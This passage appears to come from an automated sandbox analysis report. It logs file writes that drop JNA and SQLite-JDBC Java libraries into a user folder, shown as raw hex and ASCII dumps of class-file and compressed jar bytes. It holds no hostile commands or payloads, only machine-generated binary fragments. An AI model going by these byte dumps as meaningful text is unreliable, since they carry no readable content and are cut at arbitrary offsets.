6f 72 01 00 13 28 29 
4c 6a 61 76 61 2f 61 
77 74 2f 43 75 72 73 
6f 72 3b 01 00 09 73 
65 74 43 75 72 73 6f 
72 01 00 14 28 4c 6a 
61 76 61 2f 61 77 74 
2f 43 75 72 73 6f 72 
3b 29 56 01 00 20 63 
6f 6d 2f 73 75 6e 2f 6a 
6e 61 2f 70 6c 61 74 
66 6f 72 6d 2f 57 69 
6e 64 6f 77 55 74 69 
6c 73 00 21 00 11 00 
12 00 03 00 13 00 14 
00 15 00 01 10 10 00 
16 00 1a 00 00 00 08 
00 04 00 1b 00 1c 00 
01 00 1d 00 00 00 3e 
00 02 00 02 00 00 00 
0a 2a 2b b5 00 01 2a 
b7 00 02 b1 00 00 00 
02 00 1e 00 00 00 06 
00 01 00 00 00 da 00 
1f 00 00 00 16 00 02 
00 00 00 0a 00 20 00 
22 00 00 00 00 00 0a 
00 16 00 1a 00 01 00 
01 00 23 00 24 00 01 
00 1d 00 00 00 40 00 
01 00 02 00 00 00 08 
2a 

nent;...java/awt/Componen
t...getCursor...
()Ljava/awt/Cursor;
...setCursor...
(Ljava/awt/Cursor;)V.. 
com/sun/jna/platform/W
indowUtils.!..................
...................>........*+
...*................................. 
."...............#.$.......@........*
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69 67 67 65 72 2e 63 
6c 61 73 73 ca fe ba 
be 00 00 00 32 00 8c 
09 00 1c 00 46 0a 00 
1d 00 47 0a 00 1c 00 
48 09 00 1c 00 49 0a 
00 1d 00 4a 0a 00 4b 
00 4c 0a 00 1c 00 4d 
0a 00 4e 00 4f 0a 00 
1c 00 50 0a 00 51 00 
52 0a 00 51 00 53 0a 
00 54 00 55 07 00 56 
05 00 00 00 00 00 00 
00 30 0a 00 54 00 57 
0a 00 54 00 58 0a 00 
51 00 59 0a 00 51 00 
5a 0a 00 1d 00 5b 0a 
00 5c 00 5d 09 00 1c 
00 5e 0a 00 5f 00 60 
0a 00 5f 00 61 0a 00 
1d 00 62 07 00 63 0a 
00 1a 00 64 07 00 66 
07 00 67 01 00 0e 52 
65 70 61 69 6e 74 54 
72 69 67 67 65 72 01 
00 0c 49 6e 6e 65 72 
43 6c 61 73 73 65 73 
01 00 08 4c 69 73 74 
65 6e 65 72 01 00 10 
73 65 72 69 61 6c 56 
65 72 73 69 6f 6e 55 
49 44 01 00 01 4a 01 
00 0d 43 6f 6e 73 74 
61 6e 74 56 61 6c 75 
65 05 00 00 00 00 00 
00 00 01 

paintTrigger.class.......2....
..F....G....H....I....J..K.L..
..M..N.O....P..Q.R..Q.S..T.
U..
V........0..T.W..T.X..Q.Y..Q.
Z....[..\.]....^.._.`.._.a....b
..c....d..f..g...RepaintTrigge
r...InnerClasses...Listener..
.
serialVersionUID...J...Cons
tantValue.........
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C:\Users\user\lib\sqlite-jdbc-3.14.2.1.jard unknown 347 35 5c 31 49 73 7a 6d 
0c ab 69 18 fe 83 c5 
f0 79 a6 69 8e 61 6c 
25 84 ee 1e c8 63 3e 
bd 93 98 15 27 17 17 
d1 f5 62 52 ea 61 32 
94 4b 6d 5c 8c b1 b8 
18 03 ef 5b 5c 48 80 
be 41 cb fe 31 e5 11 
64 7b 06 13 79 86 47 
28 f2 03 20 db 4c d3 
50 db 55 36 2e f2 cc 
15 de d0 55 28 72 57 
e3 20 cc 1f 58 98 1b 
4d cc ec 32 05 47 21 
df 70 b2 f4 0b 5c 67 
5b a0 68 f0 02 5e c7 
02 7f b2 16 a8 a3 3b 
4f d0 31 cb c7 32 a0 
be c5 86 3a 7f 30 6a 
cd 81 fa 7f 2d d4 0b 
58 64 ac 48 5d 03 7e 
33 8e d9 2d f9 4e 1b 
5a cf 10 c5 ca f0 67 f8 
d0 c4 35 df 72 08 8a 
05 ce 70 fd 25 1a 7a 
df 08 4e f1 97 b4 be 
e5 75 fa d6 57 47 40 
f3 57 8b bb cd d4 cf 
a3 fc b6 80 56 4e f7 
c2 7e 98 dc 0f 53 d4 
4c a2 7c d8 b6 82 7f 
b0 28 27 3a 44 f9 11 
fc cd 5c ec 01 33 c5 
cc 2b 27 2f 9d d6 5c 
f9 3d 70 e1 f1 93 30 
7d 5b 

5\1Iszm..i.....y.i.al%....c>..
..'....bR.a2.Km\......[\H..A..
1..d{..y.G(.. .L.P.U6......U(r
W. ..X..M..2.G!.p...\g[.h..^..
.....;O.1..2....:.0j....-..Xd.
H].~3..-.N.Z.....g...5.r....p.
%.z..N.....u..WG@.W.........
VN..~...S.L.|.....(':D....\..3..
+'/..\.=p...0}[
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C:\Users\user\lib\jna-platform-5.5.0.jard unknown 1024 73 77 69 6e 67 2f 4a 
43 6f 6d 70 6f 6e 65 
6e 74 3b 01 00 05 64 
69 72 74 79 01 00 14 
4c 6a 61 76 61 2f 61 
77 74 2f 52 65 63 74 
61 6e 67 6c 65 3b 01 
00 06 3c 69 6e 69 74 
3e 01 00 1b 28 4c 6a 
61 76 61 78 2f 73 77 
69 6e 67 2f 4a 43 6f 
6d 70 6f 6e 65 6e 74 
3b 29 56 01 00 04 43 
6f 64 65 01 00 0f 4c 
69 6e 65 4e 75 6d 62 
65 72 54 61 62 6c 65 
01 00 12 4c 6f 63 61 
6c 56 61 72 69 61 62 
6c 65 54 61 62 6c 65 
01 00 04 74 68 69 73 
01 00 31 4c 63 6f 6d 
2f 73 75 6e 2f 6a 6e 
61 2f 70 6c 61 74 66 
6f 72 6d 2f 57 69 6e 
64 6f 77 55 74 69 6c 
73 24 52 65 70 61 69 
6e 74 54 72 69 67 67 
65 72 3b 01 00 09 61 
64 64 4e 6f 74 69 66 
79 01 00 03 28 29 56 
01 00 01 77 01 00 11 
4c 6a 61 76 61 2f 61 
77 74 2f 57 69 6e 64 
6f 77 3b 01 00 0c 72 
65 6d 6f 76 65 4e 6f 
74 69 66 79 01 00 0e 
70 61 69 

swing/JComponent;...dirty.
..Ljava/awt/Rectangle;...
<init>...
(Ljavax/swing/JComponent
;)V...
Code...LineNumberTable...
Local
VariableTable...this..1Lco
m/su
n/jna/platform/WindowUtils
$Rep
aintTrigger;...addNotify...
()V
...w...Ljava/awt/Window;...r
emoveNotify...pai
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C:\Users\user\lib\jna-5.5.0.jard unknown 347 24 76 8b e0 7e 39 47 
e5 30 20 15 df 2d a1 
3d 3e de cb 54 b5 3b 
12 ed 0b b5 87 3b c3 
a1 0e 26 0e 33 cd 68 
4f 25 33 59 23 99 dd 
63 24 c6 4d d7 9b f8 
31 b9 7a 82 ed 2e f8 
9a 98 3c dd e1 c8 ee 
7d 12 61 26 df de 70 
a4 a3 77 6f 54 a2 15 
40 a3 bd dd c1 fe b0 
42 5d 40 3b fb 43 a1 
b6 68 87 44 dd 40 7b 
fb 42 11 07 f5 30 55 
3a bc ed 21 49 f0 e2 
90 60 58 c9 f5 61 6b 
30 d2 d1 df 1b 56 5b 
e1 66 d7 8e c8 6e 09 
56 32 89 ae 02 a1 7e 
26 6f 24 34 e0 60 55 
90 d9 df 3b 88 ab 74 
77 44 71 99 03 b8 de 
ce 60 74 b0 6d 77 67 
67 a8 1f 14 9f c4 82 
7b 07 20 45 42 bb 14 
58 d7 13 1c d8 39 d8 
1d 6e eb 0f f6 ef 1f 8c 
04 7b 42 4c 7a f7 21 
63 c2 68 49 18 c9 83 
2d d1 6c da 4a 1e dc 
cc 54 dd 7e d5 ae 3a 
29 a4 a3 bb 7b b0 3d 
d8 dd dd 16 6c ef c2 
11 35 fd a1 68 ef ee fe 
f6 d0 60 5f 7f a8 33 bc 

$v..~9G.0 ..-.=>..T.;.....;...
&.3.hO%3Y#..c$.M...1.z....
..<.
...}.a&..p..woT..@......B]@;.
C
..h.D.@{.B...0U:..!I...`X..ak
0
....V[.f...n.V2....~&o$4.`U...
;..twDq.....`t.mwgg......{. EB
..X....9..n.......{BLz.!c.hI...-
.l.J...T.~..:)...{.=....l...
5..h.....`_..3.
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67 e7 9c 3b 4c e7 5c 
3f d8 39 b7 8f e4 9c 
3b 52 4b 0c eb 9c 3b 
32 38 a7 c8 85 b9 22 
0f aa 45 21 ec 12 a3 
61 b7 28 82 4e e1 83 
a8 18 0b 3d a2 04 6e 
15 13 ff a9 ce b9 10 
17 9b 22 3d 62 3a e7 
eb 95 df 83 1c 26 79 
e7 f1 8c 1e 7a 93 4d 
bc 5d f4 9d 6c c2 26 
a5 77 d0 ed c3 3a e8 
8e 8c c5 7c 46 51 5b 
0e ba 23 2b 07 dd 3e 
e0 a0 ba d8 57 c2 05 
54 6a a6 c4 be 88 aa 
5e 10 33 40 16 33 c1 
23 ca 61 85 a8 84 95 
62 2e 6c 14 d5 10 17 
0b 20 21 16 c2 61 b1 
08 ae 14 4b e0 1a b1 
02 1e 14 ab e0 47 a2 
c6 72 d2 8d 96 93 1e 
b6 9c 34 61 73 d2 d7 
2d 85 bc 6e 39 e9 eb 
36 27 cd 05 b7 67 5e 
3a 2f 5d 88 4b 32 79 
e9 4e a7 3b 35 66 ed 
a5 0b 71 69 46 2f dd 
e5 44 bb 31 bd 97 d2 
d6 27 e5 a5 cb 87 78 
e9 0a 3c cb 5c e0 5d 
32 10 f6 d2 83 19 0c 
e9 3c fa a2 69 46 6c 
42 eb 4d 

.q.?.9.g..;L.\?.9....;RK...;28

...."..E!...a.(.N.....=..n....

....."=b:......&y....z.M.]..l.
&.w...:....|FQ[..#+..>....W..T
j.....^.3@.3.#.a....b.l..... !
..a....K........G..r.......4as..-
..n9..6'...g^:/].K2y.N.;5f.
..qiF/..D.1....'....x..<.\.]2.......
<..iFlB.M
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C:\Users\user\lib\jna-platform-5.5.0.jard unknown 1024 01 00 24 28 4c 6a 61 
76 61 2f 61 77 74 2f 
65 76 65 6e 74 2f 41 
57 54 45 76 65 6e 74 
4c 69 73 74 65 6e 65 
72 3b 29 56 01 00 17 
72 65 6d 6f 76 65 43 
6f 6d 70 6f 6e 65 6e 
74 4c 69 73 74 65 6e 
65 72 01 00 14 72 65 
6d 6f 76 65 57 69 6e 
64 6f 77 4c 69 73 74 
65 6e 65 72 01 00 11 
6a 61 76 61 2f 61 77 
74 2f 47 72 61 70 68 
69 63 73 01 00 0d 67 
65 74 43 6c 69 70 42 
6f 75 6e 64 73 01 00 
16 28 29 4c 6a 61 76 
61 2f 61 77 74 2f 52 
65 63 74 61 6e 67 6c 
65 3b 01 00 08 63 6f 
6e 74 61 69 6e 73 01 
00 17 28 4c 6a 61 76 
61 2f 61 77 74 2f 52 
65 63 74 61 6e 67 6c 
65 3b 29 5a 01 00 05 
75 6e 69 6f 6e 01 00 
2a 28 4c 6a 61 76 61 
2f 61 77 74 2f 52 65 
63 74 61 6e 67 6c 65 
3b 29 4c 6a 61 76 61 
2f 61 77 74 2f 52 65 
63 74 61 6e 67 6c 65 
3b 01 00 07 72 65 70 
61 69 6e 74 01 00 17 
28 4c 6a 

..$(Ljava/awt/event/AWTE
ventLi
stener;)V...removeCompon
entLis
tener...removeWindowList
ener..
.java/awt/Graphics...getCli
pBounds...
()Ljava/awt/Rectangle;.
..contains...
(Ljava/awt/Rectan
gle;)Z...union..*
(Ljava/awt/Re
ctangle;)Ljava/awt/Rectan
gle;...repaint...(Lj
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ee 60 25 4c 1e 50 02 
ef 21 9e 74 1d 83 fc 
71 b2 6c ea c3 ae 8b 
29 84 1a a4 24 e9 62 
3f e9 e2 00 e9 e2 10 
8c 93 2e 84 e9 d2 45 
50 29 5d 0c 8b a5 cb 
75 66 16 d0 82 d3 c1 
8b 3b 70 a7 ae a1 e9 
16 5b 4b 2d b6 96 5a 
1a 9a 6f 63 4b 7f d3 
b9 98 f8 19 c4 cc 2e 
4b 33 03 19 f6 5e 47 
be 92 3e 9d 75 86 dd 
fd 8f d4 2e d2 8d 59 
e7 c3 f3 2c d9 ef 34 
6b d8 71 e5 fd f0 25 
c2 7f 9f 8e bc 5a 9e 7f 
74 c8 3b 6e bd de 90 
6e 23 eb b7 1f 93 8e 
b3 16 1a 37 f8 3d f7 
d8 d5 83 d7 3c df 7a 
99 de 68 ae 59 38 78 
4d d7 7c 47 6d 23 dd 
43 6b 1d b3 ad 55 68 
ad 55 98 86 a9 80 b5 
c0 22 53 07 42 76 14 
39 c4 d1 00 36 61 61 
13 69 b0 ed 19 8a 4d 
72 62 7b 30 6b 6c c1 
2c 68 7b 3c 6b 6c ed 
59 d0 f6 cd ac b1 85 
b2 a0 ed e9 ac b1 ed 
b5 b0 5d 4e 77 f6 a8 
99 46 a9 65 54 25 83 
8a 1b 

tg.Yj)a.`%L.P..!.t...q.l....).
..$.b?............EP)]....uf..
....;p.....[K-..Z..ocK........
.K3...^G..>.u........Y...,..4k
.q...%.....Z..t.;n...n#.......
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6d 2f 57 69 6e 64 6f 
77 55 74 69 6c 73 24 
57 33 32 57 69 6e 64 
6f 77 55 74 69 6c 73 
01 00 20 63 6f 6d 2f 
73 75 6e 2f 6a 6e 61 
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72 6d 2f 77 69 6e 33 
32 2f 47 44 49 33 32 
01 00 07 73 65 74 4d 
61 73 6b 01 00 2e 28 
4c 6a 61 76 61 2f 61 
77 74 2f 43 6f 6d 70 6f 
6e 65 6e 74 3b 4c 6a 
61 76 61 2f 61 77 74 
2f 69 6d 61 67 65 2f 
52 61 73 74 65 72 3b 
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56 01 00 08 49 4e 53 
54 41 4e 43 45 01 00 
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74 52 67 6e 01 00 2f 
28 4c 63 6f 6d 2f 73 
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6d 2f 77 69 6e 33 32 
2f 57 69 6e 44 65 66 
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0a 43 6f 6d 62 69 6e 
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28 4c 63 6f 6d 2f 73 
75 6e 2f 6a 6e 61 2f 
70 6c 61 74 66 6f 72 
6d 2f 77 69 6e 33 32 
2f 57 
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C:\Users\user\lib\jna-platform-5.5.0.jard unknown 1024 63 6f 6d 2f 73 75 6e 2f 
6a 6e 61 2f 70 6c 61 
74 66 6f 72 6d 2f 77 
69 6e 33 32 2f 57 69 
6e 44 65 66 24 48 57 
4e 44 3b 4c 63 6f 6d 
2f 73 75 6e 2f 6a 6e 
61 2f 50 6f 69 6e 74 
65 72 3b 29 5a 01 00 
05 74 69 74 6c 65 01 
00 12 4c 6a 61 76 61 
2f 6c 61 6e 67 2f 53 
74 72 69 6e 67 3b 01 
00 08 66 69 6c 65 50 
61 74 68 01 00 0a 6c 
6f 63 41 6e 64 53 69 
7a 65 01 00 14 4c 6a 
61 76 61 2f 61 77 74 
2f 52 65 63 74 61 6e 
67 6c 65 3b 01 00 07 
76 69 73 69 62 6c 65 
01 00 01 65 01 00 15 
4c 6a 61 76 61 2f 6c 
61 6e 67 2f 45 78 63 
65 70 74 69 6f 6e 3b 
01 00 04 68 77 6e 64 
01 00 28 4c 63 6f 6d 
2f 73 75 6e 2f 6a 6e 
61 2f 70 6c 61 74 66 
6f 72 6d 2f 77 69 6e 
33 32 2f 57 69 6e 44 
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31 01 00 15 4c 63 6f 
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4b c6 1d 59 18 d9 36 
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C:\Users\user\lib\jna-5.5.0.jard unknown 347 61 73 73 85 55 df 53 
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62 f9 50 c7 8a 86 55 
03 26 ee 88 f3 9a 78 
7a a0 a3 2c e0 6b 3a 
d6 c5 79 4d c3 86 86 
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C:\Users\user\lib\jna-platform-5.5.0.jard unknown 347 72 6d 2f 77 69 6e 33 
32 2f 57 69 6e 44 65 
66 24 48 44 43 3b 01 
00 07 68 42 69 74 6d 
61 70 07 01 1a 01 00 
07 48 42 49 54 4d 41 
50 01 00 2b 4c 63 6f 
6d 2f 73 75 6e 2f 6a 
6e 61 2f 70 6c 61 74 
66 6f 72 6d 2f 77 69 
6e 33 32 2f 57 69 6e 
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54 4d 41 50 3b 01 00 
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00 15 4c 63 6f 6d 2f 
73 75 6e 2f 6a 6e 61 
2f 50 6f 69 6e 74 65 
72 3b 01 00 0a 62 69 
74 6d 61 70 53 69 7a 
65 01 00 14 4c 6a 61 
76 61 2f 61 77 74 2f 
44 69 6d 65 6e 73 69 
6f 6e 3b 01 00 06 74 
68 69 73 24 30 07 01 
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57 69 6e 64 6f 77 55 
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rm/win32/WinDef$HDC;...h
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Dim
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1e 61 52 c3 47 26 2a 
d8 62 53 fe 63 8a 4c 
5e 92 5b 26 de c2 db 
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C:\Users\user\lib\sqlite-jdbc-3.14.2.1.jard unknown 347 05 9e e8 bf d0 2e 81 
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a/awt/Rectangle;...win...Lja
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/awt/Window;...user..#Lco
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;...
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C:\Users\user\lib\sqlite-jdbc-3.14.2.1.jard unknown 1024 42 05 73 57 63 e8 2a 
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ca ca 4e 85 32 f1 a2 
a9 2a 95 2d c5 d2 f9 
da 4d 86 9c 37 ba cd 
30 ec a5 dd df dd 51 
e7 b2 4f 56 96 0b 73 
25 47 71 b4 03 cd 70 
72 04 55 49 88 61 f0 
42 07 e4 f5 d0 f8 60 
29 55 86 91 74 71 5f 
79 af 64 2b 8a b1 97 
2d 54 14 db ce 8d 7b 
32 9b 3b fb 74 86 0e 
84 f5 d7 8a 4a 56 ba 
7d 70 86 c4 79 cf 9f 
aa 67 be 13 cd e0 7c 
b9 9c 5b a2 13 d2 ea 
47 55 ab 72 2f 76 14 
0f 19 62 25 7d cf 50 
9c 43 8b 0e 4d e7 cb 
8b 7e 07 4b 3e 9f 35 
ae 71 7a 32 c8 ba fd 
92 ae 53 d5 ac 35 d3 
62 e8 6d 71 29 6a 5a 
af 8f 22 c3 cd 24 fd d4 
94 e7 07 c2 a2 cb 0c 
c1 34 ef 59 9b 6e 17 
dc 11 a0 04 6d 77 50 
e1 d5 b7 1b 4a d5 bd 
6e 8f 0b 38 3f 16 ed 
b6 e6 3c 33 cd 8a db 
ca f4 b6 e0 aa d6 33 
92 6e 37 b6 a5 92 79 
68 a9 da 9a 2e f8 ce 
77 77 8a bb 94 71 09 
dd 

B.sWc.*.....`G...N.2...*.-....
M..7..0.....Q..OV..s%Gq...p
r.UI.a.B.....`)U..tq_y.d+...-
T....{2.;.t......JV.}p..y...g....|
..
[....GU.r/v...b%}.P.C..M...~
.K>.5.qz2.....S..5.b.mq)jZ.."
..$..........4.Y.n.....mwP....J
..n..8?....<3.........3.n7...y
h......ww...q..

success or wait 1 6DD59FBC WriteFile

C:\Users\user\lib\jna-5.5.0.jard unknown 1024 be 52 f1 35 be 11 87 
6f 69 fb 98 7e 67 ad 
0a 35 03 fa 7c 32 75 
55 c6 77 12 76 14 ca 
7b b2 66 3c 63 24 cd 
fa e1 64 3a d3 a9 25 
12 27 ad 8a ab eb 8e 
bd a6 a9 a7 3a 13 5a 
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b3 26 61 bb 35 d6 85 
60 57 8f 25 9d d5 33 
5d fa 79 2d 9b c8 d8 
f1 76 e7 1f 51 ea f0 
50 ef e0 68 f7 c9 b3 
23 bd 93 dd 6c bf 70 
9f 68 bc 86 f0 ff 9d ad 
b2 b5 cf 28 76 ae 36 
c3 f0 2b c3 1b db b6 
91 b3 ac 30 92 7c f8 
d5 ec 52 f7 99 50 d2 
05 66 a1 70 9f ab 99 
b8 be 48 bf 94 d5 12 
24 a8 86 81 3f 06 ac 
94 77 8a 21 59 6d 93 
4a 61 ea 32 1d c5 b4 
5b b5 69 e0 9d 1b f3 
75 f3 aa 74 a1 ca 8a 
4c 5b 58 d0 4d 52 11 
73 33 d8 20 72 fa ed 
d0 6a 51 1f cd 4e 5a 
60 a5 6d 72 77 b9 3d 
94 1a 37 be 46 62 6e 
f4 ff c7 9d 15 6e 0d 8a 
1d 7c 21 d6 83 b7 f2 
55 e9 11 e3 ca 37 b0 
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e5 
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C:\Users\user\lib\jna-5.5.0.jard unknown 347 31 0e 05 4a 29 27 22 
d9 33 7e 33 f3 de 78 
9c e7 b7 87 27 00 db 
58 31 91 41 c9 c0 bc 
89 04 4a 26 d2 58 30 
b0 68 60 89 21 53 95 
4a 86 35 86 e4 ea 5a 
93 21 b5 eb b5 05 43 
a1 2e 95 38 89 2e 5b 
c2 3f e7 2d 97 90 c9 
ba 67 73 b7 c9 7d a9 
cf 3d 30 15 3a 32 60 
c8 1f 29 25 fc 5d 97 
07 81 a0 63 a9 6e 7b 
97 56 10 29 ab ab b8 
d5 08 fd c8 0e 23 5f 
94 b7 2a 94 aa d5 a4 
26 72 23 22 98 58 5d 
ab 77 f9 35 b7 a2 50 
ba d6 31 bf a2 94 5c 
43 76 14 d7 15 0c 3b 
83 f1 ea 0f ee 33 4f aa 
50 f8 95 e1 82 95 1a 
b1 4d 7f 32 b8 5c 75 
ac d3 56 57 d8 21 c1 
cd 3e f0 dc f1 05 6f c7 
f7 ab fe 4b 4d eb 99 
0d 2f f2 6d 71 20 f5 7c 
c6 be a2 1b 9a 97 e6 
ba af 6c d7 0b a4 ea 
1c 8b d0 f1 da 06 96 
f3 30 90 a5 49 7c 0b 
1f f2 c0 21 f1 3c 0a 18 
67 28 fe 31 4c 86 99 
a1 57 20 7c 68 05 36 
e9 d9 33 d0 5f 92 
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01 24 0c 01 29 00 a7 
07 01 22 0c 00 a8 00 
80 0c 00 a9 00 80 0c 
01 31 01 32 0c 01 33 
00 80 0c 01 34 00 80 
07 01 23 0c 01 35 01 
36 0c 01 37 01 36 0c 
01 38 01 39 0c 01 3a 
01 3b 0c 01 3c 01 3d 
0c 00 5d 00 5e 0c 01 
3e 01 3f 01 00 2c 63 
6f 6d 2f 73 75 6e 2f 
6a 6e 61 2f 70 6c 61 
74 66 6f 72 6d 2f 77 
69 6e 33 32 2f 57 69 
6e 47 44 49 24 42 49 
54 4d 41 50 49 4e 46 
4f 0c 00 63 00 6e 0c 
01 40 01 42 07 01 43 
0c 01 44 00 80 0c 01 
45 00 80 0c 01 46 01 
47 0c 01 48 01 47 01 
00 21 63 6f 6d 2f 73 
75 6e 2f 6a 6e 61 2f 
70 6c 61 74 66 6f 72 
6d 2f 77 69 6e 33 32 
2f 57 69 6e 47 44 49 
0c 01 49 00 80 0c 01 
4a 00 80 01 00 22 63 
6f 6d 2f 73 75 6e 2f 
6a 6e 61 2f 70 74 72 
2f 50 6f 69 6e 74 65 
72 42 79 52 65 66 65 
72 65 6e 

.n..m.n..t.u...../.0..$..)....
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B..C..D....E....F.G..H.G..!co
m
/sun/jna/platform/win32/Wi
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success or wait 10 6DD59FBC WriteFile

File Path Offset Length Value Ascii Completion Count
Source
Address Symbol

Copyright null 2021 Page 367 of 706



C:\Users\user\lib\jna-5.5.0.jard unknown 1024 be 6d f6 1d 50 4b 03 
04 0a 00 00 08 08 00 
8b 8c 5e 4f 2f d8 f8 2d 
90 01 00 00 05 03 00 
00 1d 00 00 00 63 6f 
6d 2f 73 75 6e 2f 6a 
6e 61 2f 53 74 72 75 
63 74 75 72 65 24 32 
2e 63 6c 61 73 73 8d 
52 db 4a c3 40 10 3d 
db 5b 62 ac 55 eb ad 
f5 8e f8 d0 fa 60 c4 57 
4b 41 aa 82 50 f5 a1 
a5 e0 e3 36 5d da 2d 
71 03 b9 f8 5d fa a2 
a0 e0 07 f8 09 82 bf 
22 ce c6 2a a5 46 30 
b0 3b b3 67 ce 9c 9d 
99 cd eb c7 d3 0b 80 
43 6c 5b c8 a1 6c 60 
d5 42 0a 65 0b 59 ac 
1b d8 30 b0 c9 90 ab 
49 25 c3 3a 43 ba 52 
ed 30 64 1a 5e 4f 30 
cc 36 a5 12 97 d1 4d 
57 f8 6d de 75 09 29 
36 3d 87 bb 1d ee 4b 
7d 1e 81 99 70 20 03 
86 fc b9 52 c2 6f b8 
3c 08 04 1d cb 4d c7 
bb b1 83 48 d9 43 c5 
ed 56 e8 47 4e 18 f9 
62 f7 f0 88 a8 fa 36 a9 
85 dc 88 04 e6 2b d5 
e6 90 df 72 3b 0a a5 
6b b7 44 48 94 a9 96 

.m..PK..........^O/..-........

....com/sun/jna/Structure$2
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77 69 6e 33 32 2f 47 
44 49 33 32 01 00 26 
63 6f 6d 2f 73 75 6e 2f 
6a 6e 61 2f 70 6c 61 
74 66 6f 72 6d 2f 77 
69 6e 33 32 2f 57 69 
6e 44 65 66 24 48 57 
4e 44 07 01 6d 01 00 
27 63 6f 6d 2f 73 75 
6e 2f 6a 6e 61 2f 70 
6c 61 74 66 6f 72 6d 
2f 77 69 6e 33 32 2f 
57 69 6e 4e 54 24 48 
41 4e 44 4c 45 01 00 
1c 6a 61 76 61 2f 61 
77 74 2f 69 6d 61 67 
65 2f 42 75 66 66 65 
72 65 64 49 6d 61 67 
65 01 00 12 6a 61 76 
61 2f 61 77 74 2f 52 
65 63 74 61 6e 67 6c 
65 01 00 0f 6a 61 76 
61 2f 61 77 74 2f 57 
69 6e 64 6f 77 01 00 
21 63 6f 6d 2f 73 75 
6e 2f 6a 6e 61 2f 70 
6c 61 74 66 6f 72 6d 
2f 77 69 6e 33 32 2f 
55 73 65 72 33 32 01 
00 0e 6a 61 76 61 2f 
61 77 74 2f 50 6f 69 
6e 74 01 00 15 6a 61 
76 61 2f 61 77 74 2f 
69 6d 61 67 65 2f 52 
61 73 74 65 72 01 00 
13 6a 

atform/win32/GDI32..&com
/sun/j
na/platform/win32/WinDef$
HWND.
.m..'com/sun/jna/platform/
win3
2/WinNT$HANDLE...java/a
wt/imag
e/BufferedImage...java/awt
/Rec
tangle...java/awt/Window..!
com
/sun/jna/platform/win32/Us
er32
...java/awt/Point...java/awt/
image/Raster...j
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C:\Users\user\lib\jna-platform-5.5.0.jard unknown 1024 72 3b 29 56 01 00 08 
49 4e 53 54 41 4e 43 
45 01 00 0c 44 65 6c 
65 74 65 4f 62 6a 65 
63 74 01 00 2c 28 4c 
63 6f 6d 2f 73 75 6e 2f 
6a 6e 61 2f 70 6c 61 
74 66 6f 72 6d 2f 77 
69 6e 33 32 2f 57 69 
6e 4e 54 24 48 41 4e 
44 4c 45 3b 29 5a 01 
00 08 44 65 6c 65 74 
65 44 43 01 00 2a 28 
4c 63 6f 6d 2f 73 75 
6e 2f 6a 6e 61 2f 70 
6c 61 74 66 6f 72 6d 
2f 77 69 6e 33 32 2f 
57 69 6e 44 65 66 24 
48 44 43 3b 29 5a 01 
00 1a 6a 61 76 61 78 
2f 73 77 69 6e 67 2f 
53 77 69 6e 67 55 74 
69 6c 69 74 69 65 73 
01 00 11 67 65 74 57 
69 6e 64 6f 77 41 6e 
63 65 73 74 6f 72 01 
00 27 28 4c 6a 61 76 
61 2f 61 77 74 2f 43 6f 
6d 70 6f 6e 65 6e 74 
3b 29 4c 6a 61 76 61 
2f 61 77 74 2f 57 69 
6e 64 6f 77 3b 01 00 
0c 63 6f 6e 76 65 72 
74 50 6f 69 6e 74 01 
00 3c 28 4c 6a 61 76 
61 2f 61 77 74 2f 43 6f 

r;)V...INSTANCE...DeleteO
bject..,
(Lcom/sun/jna/platform/win
3
2/WinNT$HANDLE;)Z...Del
eteDC..*
(Lcom/sun/jna/platform/win
32/
WinDef$HDC;)Z...javax/sw
ing/Sw
ingUtilities...getWindowAn
cest
or..'(Ljava/awt/Component;
)Lja
va/awt/Window;...convertP
oint..<(Ljava/awt/Co
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b9 a0 e4 22 42 4b f3 
f2 57 5a cd 17 13 5a 
51 b2 2c 37 65 69 71 
e9 d2 4b 12 5c 56 6a 
5d 5a 7c b1 2c 70 d1 
15 25 96 4b 92 2b 2e 
2d 59 7e 49 82 25 d6 
e2 e2 4b 12 34 e7 95 
e5 ad 2a 20 25 46 3c 
5e 6a bd 44 33 2c 05 
15 17 15 b4 96 af cb 
4d 29 ca 2b 59 56 5c 
50 76 49 b2 96 15 ab 
0a 4a ad 17 d3 9b 4f 
54 2e 27 81 75 11 a9 
e2 82 3c 92 23 6a ed 
8a 92 e5 97 28 6d 2e 
2b 5d 5e 56 50 5e 7e 
a9 66 e7 97 16 5b 57 
95 5c 52 40 48 a2 97 
e2 62 49 76 59 41 7e 
b1 65 9d f9 62 01 d4 
25 7e 29 d1 26 09 5f 
3c de 24 c9 4b 88 38 
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C:\Users\user\lib\jna-platform-5.5.0.jard unknown 347 32 2f 57 69 6e 44 65 
66 24 48 42 49 54 4d 
41 50 3b 01 00 08 67 
65 74 56 61 6c 75 65 
01 00 17 28 29 4c 63 
6f 6d 2f 73 75 6e 2f 6a 
6e 61 2f 50 6f 69 6e 
74 65 72 3b 01 00 05 
28 49 49 29 56 01 00 
0c 53 65 6c 65 63 74 
4f 62 6a 65 63 74 01 
00 7b 28 4c 63 6f 6d 
2f 73 75 6e 2f 6a 6e 
61 2f 70 6c 61 74 66 
6f 72 6d 2f 77 69 6e 
33 32 2f 57 69 6e 44 
65 66 24 48 44 43 3b 
4c 63 6f 6d 2f 73 75 
6e 2f 6a 6e 61 2f 70 
6c 61 74 66 6f 72 6d 
2f 77 69 6e 33 32 2f 
57 69 6e 4e 54 24 48 
41 4e 44 4c 45 3b 29 
4c 63 6f 6d 2f 73 75 
6e 2f 6a 6e 61 2f 70 
6c 61 74 66 6f 72 6d 
2f 77 69 6e 33 32 2f 
57 69 6e 4e 54 24 48 
41 4e 44 4c 45 3b 01 
00 07 67 65 74 44 61 
74 61 01 00 19 28 29 
4c 6a 61 76 61 2f 61 
77 74 2f 69 6d 61 67 
65 2f 52 61 73 74 65 
72 3b 01 00 08 67 65 
74 50 69 78 65 6c 01 
00 08 

2/WinDef$HBITMAP;...get
Value...
()Lcom/sun/jna/Pointer;...
(II)V...SelectObject..
{(Lcom/sun/
jna/platform/win32/WinDef
$HDC;
Lcom/sun/jna/platform/win
32/Wi
nNT$HANDLE;)Lcom/sun/j
na/platf
orm/win32/WinNT$HANDL
E;...getData...
()Ljava/awt/image/Raster
;...getPixel...
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d3 f1 6c ef 42 7c d4 
5a 2e ef 46 dc f3 1a 8f 
b5 56 c4 93 41 be 0d 
71 f5 eb 5c de 8b f8 
78 90 f7 23 9e fd 06 
97 ef 44 fc 1a 90 57 
1e 0e e6 ce 6d 5c 5e 
8d f8 44 90 d7 44 90 
4f 46 3c 0d e4 53 11 
f7 be c9 e5 f5 88 4f 03 
f9 6c c4 35 6f 71 f9 1c 
c4 8d 20 5f 84 b8 e9 
